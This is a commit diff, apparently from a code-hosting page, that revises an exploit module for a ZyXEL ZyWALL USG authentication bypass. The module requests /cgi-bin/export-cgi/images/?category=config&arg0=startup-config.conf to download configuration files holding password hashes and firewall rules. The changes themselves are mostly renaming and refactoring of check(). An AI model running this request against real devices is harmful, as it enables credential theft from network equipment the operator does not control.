Commit 6edc5c67 by dincaus

Changes in the code per PR comments.

parent 29a50fa9
...@@ -17,7 +17,7 @@ class Exploit(exploits.Exploit): ...@@ -17,7 +17,7 @@ class Exploit(exploits.Exploit):
If the tharget is vulnerable it allows to download configuration files which contains sensitive data like password hashes, firewall rules and other network related configurations. If the tharget is vulnerable it allows to download configuration files which contains sensitive data like password hashes, firewall rules and other network related configurations.
""" """
__info__ = { __info__ = {
'name': 'ZyXEL ZyWALL USG', 'name': 'Zyxel ZyWALL USG Extract Hashes',
'description': 'Exploit implementation for ZyWall USG 20 Authentication Bypass In Configuration Import/Export.' 'description': 'Exploit implementation for ZyWall USG 20 Authentication Bypass In Configuration Import/Export.'
'If the tharget is vulnerable it allows to download configuration files which contains sensitive data like password hashes, firewall rules and other network related configurations.', 'If the tharget is vulnerable it allows to download configuration files which contains sensitive data like password hashes, firewall rules and other network related configurations.',
'authors': [ 'authors': [
...@@ -27,20 +27,21 @@ class Exploit(exploits.Exploit): ...@@ -27,20 +27,21 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/17244/', 'https://www.exploit-db.com/exploits/17244/',
], ],
'devices': [ 'devices': [
'ZyWALL USG-20', 'ZyXEL ZyWALL USG-20',
'ZyWALL USG-20W', 'ZyXEL ZyWALL USG-20W',
'ZyWALL USG-50', 'ZyXEL ZyWALL USG-50',
'ZyWALL USG-100', 'ZyXEL ZyWALL USG-100',
'ZyWALL USG-200', 'ZyXEL ZyWALL USG-200',
'ZyWALL USG-300', 'ZyXEL ZyWALL USG-300',
'ZyWALL USG-1000', 'ZyXEL ZyWALL USG-1000',
'ZyWALL USG-1050' 'ZyXEL ZyWALL USG-1050'
'ZyWALL USG-2000' 'ZyXEL ZyWALL USG-2000'
], ],
} }
target = exploits.Option('', 'Target address e.g. https://192.168.1.1', validators=validators.url) # target address target = exploits.Option('', 'Target address e.g. https://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(443, 'Target port') # default port port = exploits.Option(443, 'Target port') # default port
script_content = None
def run(self): def run(self):
...@@ -64,16 +65,10 @@ class Exploit(exploits.Exploit): ...@@ -64,16 +65,10 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): # todo: requires improvement def check(self): # todo: requires improvement
if 'https://' in self.target:
url = "{}/cgi-bin/export-cgi/images/?category={}&arg0={}".format(self.target, 'config', 'startup-config.conf')
else:
url = "{}:{}/cgi-bin/export-cgi/images/?category={}&arg0={}".format(self.target, self.port, 'config', 'startup-config.conf') url = "{}:{}/cgi-bin/export-cgi/images/?category={}&arg0={}".format(self.target, self.port, 'config', 'startup-config.conf')
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
if response is not None: if response is not None and response.status_code == 200:
if response.status_code == 200:
self.script_content = response.text self.script_content = response.text
return True # target is vulnerable return True # target is vulnerable
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment